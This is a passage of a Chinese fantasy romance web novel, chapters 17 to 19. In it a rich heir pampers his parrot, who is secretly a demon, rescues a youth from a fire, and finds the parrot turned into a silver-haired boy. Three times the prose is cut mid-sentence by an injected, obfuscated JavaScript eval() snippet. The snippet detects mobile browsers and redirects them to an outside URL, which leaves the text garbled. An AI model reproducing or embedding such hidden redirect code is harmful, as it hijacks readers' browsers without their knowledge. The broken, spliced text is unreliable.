男人此时整个都被吓的哆哆嗦嗦的,身边的姑娘更是蹲在地上一看都不敢看。 他一句话都没有说,刚才那样的情况他相信绝对不是个巧合。 他知道这个世界上有奇人异士,但是第一次感受到的震撼还是没有任何话语可以说出来。 他丝毫不怀疑如果他想杀他刚才的那一瞬他们所有人都已经死了。 裴一舟微弯腰看着他,那模样就像一个青春少年。 “请问现在我可以走了吗?” 男人哆哆嗦嗦的回答着他。 “可….可以,您…您慢走。” 这时候门外的工作人员也听到声音赶了过来,他们看到屋里的情况都惊呆了。 谁也没有见到过这样的情况,屋里乱七八糟的全是碎片,落地窗整个都碎了,那漆黑的洞口好像要把人吸进去一样。 这场景活想是谁把房子炸了。 负责人擦了擦头顶的汗,这里每个人他们都惹不起啊。 “这是怎么了先生,哎呦,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288247|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生了什么呀。” 裴一舟脸色缓和了一些,好像刚才的事情什么都没有发生过一样。 他眼睛看着地上的那些人,声音里没有一丝的温度。 他一字一句的说:“没事,屋里所有的东西都记我头上,裴氏集团,裴一舟。” 他以前从来不会打着裴氏集团的名头,但是有时候对这种人确实异常的好用。 男人听到这个名头直接滑到地上不敢动了。 谁都知道裴家这位五年前找回来的少爷那可是被裴家宠在心尖上的,得罪了他可要倒大霉的。 裴一舟去了卫生间,他一点一点的把手洗干净之后才走了出来。 他坐着电梯下来正好就看到小鸟跟赵铭,也不知道为什么看到他的那一瞬间刚才的那些不爽的事情都被抛到了脑后。 小鸟的整个身体躺在钻石上,赵铭想看都看不到。 赵铭想从他身上找到一个缝隙,没想到被这只鹦鹉当的严严实实的。 “你给我看看。” 江与停就跟老母鸡孵蛋一样把钻石埋在自己的身下。 “不要不要,这是我的。” 赵铭围着他团团转,但是坑时一个口子都没找到。 “谁说是你的,我还说是我的呢,再说你一只鹦鹉要这玩意儿干啥,你有手指戴吗。” 江与停瞪着眼睛就是不肯起身:“这是裴一舟买给我的。” 赵铭当然不相信。 “瞎说。” 他话音刚落就听到了那只鸟说话的声音。 “裴一舟你回来了。” 赵铭清哼了一声没有回头:“你休想骗我,刚才你就是这么骗的我,否则现在钻石应该在我手上。” 裴一舟:“骗你什么?” 赵铭猛地回过头去,没想到身后还真的是裴一舟。 “你回来了,没事吧。” 裴一舟:“没事。” 江与停抓着钻石就飞到了裴一舟的身边,他上下看了好久才确定他身上没有一处伤口。 裴一舟好厉害啊。 赵铭看着他爪子里拿着钻石都心疼,那要是掉一小块估计都好几把万。 “你快给我吧。” 江与停斜眼看了他一眼然后低头蹭了蹭裴一舟,那谄媚的小模样看的赵铭牙痒痒的。 “裴一舟,钻石,我的。” 裴一舟感受着脖子处温柔的触感,蹭的他心里都跟着柔了下来。 “嗯,给你的。” 赵铭单纯以为他是在逗鹦鹉玩。 “少爷,哪有你这么开玩笑的,他都要当真了。” 裴一舟又认真的看了他一眼,他虽然没有说话,但是赵铭却有些明白了。 只是他又些不愿意相信。 几秒之后他抬起手颤抖的指向他肩头的鹦鹉,满脸的不可置信。 实在是太匪夷所思了,给一只宠物买钻石,还三千万。 他不相信的又询问了一遍,眼里羡慕的泪水都差点流下来。 “真的?” 裴一舟给了他最后的一击。 “真的!” 赵铭长大着嘴巴看着鸟爪子上的钻石差点跪下来。 “少爷你还缺宠物吗?真的,我给你当宠物好不好。” 18. 鸟尴尬了 裴一舟当晚就入住了超豪华的五星级酒店,当然这都是赵铭安排的,钻石捞不到总要捞一个五星级酒店体验一下吧。 江与停进来之后就格外的兴奋,那富丽堂皇的大房子简直闪瞎了他的鸟眼。 他站在裴一舟的肩头小脑袋四处摇晃着,生怕遗漏掉了什么细节,那模样破像一个乡下来的土鸟。 进来之后就有工作人员拿着擦手巾站在那里,那工作人员超级有眼力劲儿还递给了小鸟一个。 江与停就抓着那个擦手巾一路来到了顶层,鸟生第一次重塑了三观。 到了顶层江与停更是撒欢了,一会儿从房顶掠过,一会儿又落在头顶上那个超大的吊灯上,吊灯还是个欧式的款式,上面垂着一些长长的灯带,那些灯带上还点缀着细碎的小石头,灯光照在地上的时候还形成了一朵漂亮的玫瑰花。 江与停在那个灯上忙的不亦乐乎。 赵铭看着那个四处摇晃的灯带沉思了一下。 “对了,你没有给他带砂什么的吗?” 裴一舟:“带砂做什么?” 赵铭有些疑惑:“我带猫出门的时候都是给他带上猫砂,要不怎么上厕所,我没有养过鸟不过应该也都一样吧。” 裴一舟沉思了一下说:“不需要,他会上厕所。” 赵铭立刻就惊呆了,他不知道自己是不是跟裴一舟待久了自己也有幻觉了。 “你说啥,他自己上厕所。” 裴一舟不知道这有什么大惊小怪的,他挑了挑眉说:“怎么,需要他给你表演一下吗。” 赵铭赶忙摆手,他可没有这个癖好。 “那倒是不用了,那个少爷,我去看看晚餐准备的怎么样了。” 很快工作人员就推着餐车进来了,赵铭就跟在他们的身后。 工作人员:“先生,打扰一下您的餐好了。” 裴一舟: “好,辛苦了。” 赵铭点了很多,那一大桌子看起来非常的有食欲。 江与停也没等别人叫他,闻着味就来了。 他刚落下就看到了桌子上的东西,鸡翅,排骨,鱼,都是他喜欢吃的,还有一杯黑黑的东西,他以前没有见过。 江与停看向裴一舟:“这是什么啊。” 裴一舟:“咖啡。” 江与停眨巴着小眼睛:“那我可以喝吗?” 裴一舟低着头,漂亮的手一点一点的拨着鱼刺。 “小鸟不可以喝咖啡。” 江与停哦了一声,只是他看着对面的人喝的那么美,那一定是好东西,所以他瞥了一眼裴一舟,趁着人没注意的时候低头猛的喝了一口。 下一秒,呸的一声直接就吐了出去。 江与停:“啊,呸呸呸,好苦,有毒。” 赵铭在对面爆发出一声巨大的笑声。 “哈哈哈,少爷,你这鸟也太好笑了。” 裴一舟无奈的看了他一眼,给他张了个教训。 “不是告诉你了小鸟不可以喝。” 赵铭笑够了才解释道:“这是咖啡,就这个味。” 江与停气的头顶的毛都落了下去。 “我才不相信,你就是故意的。” 说完之后趁着赵铭不注意一脚踩进了他的咖啡里,虽然有些凉。 赵铭看着他这举动直接就呆了。 “哎,我的咖啡,这是我第一次喝五星级的咖啡啊。” 江与停看着他哼了一下,然后又用桌子上的桌布擦了擦脚丫。 “哼。” 赵铭垮着一张苦脸告状:“少爷,你看他。” 裴一舟对于这一人一鸟也很是无语。 “好了,一会儿你再点一杯,他一只小鸟你给他计较什么。” 赵铭要被气疯了。 “好吧,看在你给我挑鱼刺的份上。” 他之所以这样认为是知道裴一舟不吃肉的。 谁知道裴一舟看了他一眼,淡淡的开口道:“这是他的。” 赵铭:“???” 江与停就站在桌子上雄赳赳气昂昂的仰着小脑袋。 “好好好,好了,你俩吃吧,我自己吃去。” 赵铭狠狠的看着那只嚣张的小鸟走了,没办法,人家有人罩啊。 江与停一看就他俩了更开心了。 “裴一舟,你最好了。” 吃完饭江与停继续探索着这个豪华的房子,只不过等他参观完的时候才发现裴一舟不知道什么时候出去了。 他躺在那个摇摇晃晃的大床上,舒服的都要睡着了。 就在他快睡着的时候门外响起了一阵敲门声,然后便有一个声音传了进来。 “先生,我们这里有免费水果,请问您需要吗。” 江与停一停直接就弹了起来。 “需要,需要。” 他打开房门,门外看到是只鸟的时候明显的愣了一下。 江与停:“进来吧,放桌子上。” 工作人员也只是愣了一下然后才进了房间。 他把东西都放到了桌子上,结果刚要退出去结果就听到了一个声音。 “江腾。” 江腾听到自己的名字直接就呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288248|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了,他左右看了一圈儿才发现是那只鸟发出的声音。 “你是谁,怎么知道我。” 江与停站在那里,他就说刚才怎么感觉到一股熟悉的味道。 “你再看看我是谁。” 江腾靠近他闻了闻,然后头上瞬间便出现了两只毛茸茸的耳朵,他是一只小狼妖。 “江与停。” 江与停没有想到在这里还能看到熟人,他立马就摆出了高冷的模样。 “是我,你怎么在这里。” 江腾看到熟悉的人还有些激动,不过很快就把头上的耳朵收了回去。 “我在这上班啊。” 江与停瞬间翅膀就炸了。 “什么,你一个妖竟然打工,有没有点骨气啊,你不说自己在外面干大事,原来就干这个啊。” 江腾挠了挠自己的脑袋。 “没办法啊,我也要吃饭啊,最近妖管局的人搜寻的挺严的,我又不敢使用妖力,只能干点活了,你要不要一起来。” 江与停:“上班,那是什么。” 江腾想了想说: “就是早上7点起床,9点上班然后晚上10点下班,一个月2万刚好够吃饭。” 江与停的眼睛瞬间睁大了。 “什么!这叫还可以!” 他都是每天睡觉睡到自然醒,醒来就吃饭,吃完饭再到处溜达一下,然后继续吃饭,什么都不用想天天都有好吃的,他都叫还行,他这叫什么。 江腾看着他忽然想起了什么。 “那你现在怎么回事怎么变成鸟了,不会是当人类的宠物了吧。” 江与停自然不能说自己成宠物了啊,他也要面子的。 “怎么可能,人类是我的宠物还差不多。” 他话音刚落门外就传来了裴一舟的声音。 “小团,你们在干什么。” 裴一舟很奇怪,每次他回来的时候他都会冲过来迎接他,但是今天好像有些不一样。 江与停看了看江腾,幸好他头顶上的耳朵收进去了,否则万一把自己的饲主吓死了怎么办。 “他来送水果。” 江腾一看时候不对也只好先离开了。 “客人您慢用,我先走了。” 看着人走了之后江与停又开心的飞了过来,他不能让别人看到他这副模样。 他亲昵的蹭着裴一舟的脖子。 “裴一舟,你回来了。” 就在这时候门又打开了,江与停就那么跟外面的江腾四目相对。 那一刻,他仿佛能看到江腾脸上震惊的表情。 19. 鸟变人了 “裴一舟,救我,救救我。” “疼,好疼啊。” 裴一舟站在火场中间,耳边都是刺耳的警报声,周围入目可及之处都被燃烧的火焰包围着,人们向外面的方向大喊着,逃跑着。 裴一舟看着不远处站在大火里的少年,他没有丝毫犹豫的向着人群不同的方向逆行而上。 他越过周围烦闹的人群,踏过灼热的地板,穿过那不停在燃烧着的火焰。 就当他马上就要碰到那人的手的时候,那燃烧着的大火却像是一条火蛇一样迅速的把那少年吞噬了进去。 那一瞬间,屋顶坍塌,烈火卷着周围所有的东西,好像要把一切都埋进到火焰里去一样,任他怎么呐喊都无济于事。 “不要,不要。” “让开,快让开,团团。” 裴一舟猛的睁开眼,眼底遍布红色的恐怖血痕,任谁看了都会觉得害怕。 他眼睛没有丝毫焦距的看着前方,显然他还没有从噩梦中惊醒过来,他此刻就像一个刚从濒死中醒过来的人一样剧烈的呼吸着,心脏处那不正常的狂跳也显示着他此时的不安。 裴一舟深呼吸了几下,就在这时候头也剧烈的疼痛了起来,他坐在沙发上痛苦的捏了捏自己的额头,身上出了一层薄薄的汗。 他还没有完全的反应过来,耳边119响着急促的警报呼啸而过,有近及远,与梦里的场景融合在了一起。 裴一舟的神经瞬间都紧张了起来,好像有什么奇怪的东西从他的身体里直冲他的脑海。 “团团。” 裴一舟站在窗户边看着不远处那绕烧着的火光,他想都没有想就那么打开窗户从上面一跃而下,向着那警笛鸣响的方向冲了过去。 那是一个小区。 夜色中,大家都被这一场大火吵醒了,醒的早的早就跑出来了,而还有被困在里面出不来了。 一个中年妇女正蹲在地上哭泣。 “我儿子,我儿子还在里面,求求你们救救他。” 周围的围观群众都一言一嘴的劝着,可是谁都知道大概率出不来了。 裴一舟到的时候外面都已经警戒了,火非常的大,着火点又在32层,消防云梯根本上不去。 大火此时已经从顶层烧到了一层形成了一道火墙,消防员只能从下面往上走救援。 裴一舟当即就要往里面冲,但是被外面的工作人员拦住了。 “先生,里面现在很危险,不可以进去。” 裴一舟才不管那么多,他要救人,他的团团还在里面。 “让开。” 前面的工作人员死活不让他进,他直接一手推开了工作人员冲了进去。 屋里楼道里全是烟,消防员还在救火,谁知道突然一个身影就冲了上去,他们连身影都没有看见那人就直接消失在了眼前。 裴一舟很快就在32层找到那个被困的男子。 那男子年纪不大,身上还穿着睡衣,不过看样子应该是吸入了烟尘太多了直接晕倒在了房间的角落里。 可是在裴一舟的眼里此刻躺在这里的就是那个他心心念念的人。 他抱着那个少年像是抱着失而复得的美梦。 “团团,没事的,一定会没事的。” 火势越来越大,裴一舟一拳打碎了卧室的玻璃,然后抱着那个少年从上面一跃而下。 下面的人看着突然跳下来的人直接都快吓死了。 “32层呀,这么高,不要命了。” “好惨啊,必死无疑了。” “别跳啊,别跳。” 只是令人万万没有想到的是那人就那么一瞬间轻松的落在了地上,并且仔细看过去他怀里还抱着一个。 “我靠,那是什么啊,那是人吗。” “不会是我眼花了吧,30层下来安然无恙,我没喝多吧。” “好吓人啊。” 裴一舟此刻完全顾不上理他们。 他看着怀里的少年,那个始终带笑的眼睛此刻紧紧的闭着。 “团团,醒醒。” “你别怕我,睁开眼睛看看我,我不会伤害你的。” 就在这时候人群里的那个妇女冲了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288249|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她此时也顾不上那么多,对着裴一舟就跪了下去。 “谢谢你救了我儿子。” 裴一舟看着他,大脑像瞬间停止了思考一般,机械的回答道:“你儿子。” 他缓缓的低下头,那张原本熟悉的脸变成了另外一个完全陌生的脸。 他把人还给了对方,然后苦笑了一声慢慢的融进了黑夜中。 江与停梦里梦到自己变成人了还被火烧,没想到自己就被热醒的,他躺在床上身上是前所未有的感觉。 他在床上不停的翻滚,本能的叫着裴一舟的名字。 “裴一舟,好热。” “裴一舟,我这是怎么了。” 可是直到他完全的醒过来都没有裴一舟的声音,他飞去外面看了一眼,外面的窗户开着,但是屋里没有任何的人。 江与停也不知道他这大半夜去哪儿了,没有人他只好把空调开到最低,躺在地上给自己降温。 只是那灼热的感觉一直都没有退下去,他只好打开冰箱把自己都整个塞进冰柜里。 就这么不知道过了多久,冰箱砰的一声巨响,江与停从里面被弹了出来。 他揉着自己发痛的脑壳刚想发作,结果才发现不对劲,自己的爪子好像变成手了。 他又赶紧跑到客厅的镜子里照了照,果然变成人了。 他站在镜子面前看着那张熟悉的脸,自己都有些难以置信。 难不成这是那个妖灵碎片的作用,只是显然作用不大,头顶上的耳朵都收不回去。 裴一舟拖着一身酒味回到酒店,结果他刚打开门就发现屋里竟然还有一个人。 江与停猛地回头看了一眼,他也没有想到裴一舟怎么这么快就回来了,他还没有想好怎么跟他解释呢。 裴一舟站在门口就那么看着屋内的那个人。 那是一个很漂亮的少年,银发如瀑,金瞳摄魂。 那白色的长发垂落在腰际,头上顶着一对毛茸茸的耳朵,额头上还呈现着没有退化下去的妖纹。 漂亮又妖冶,是那无数次的出现在他梦里的脸。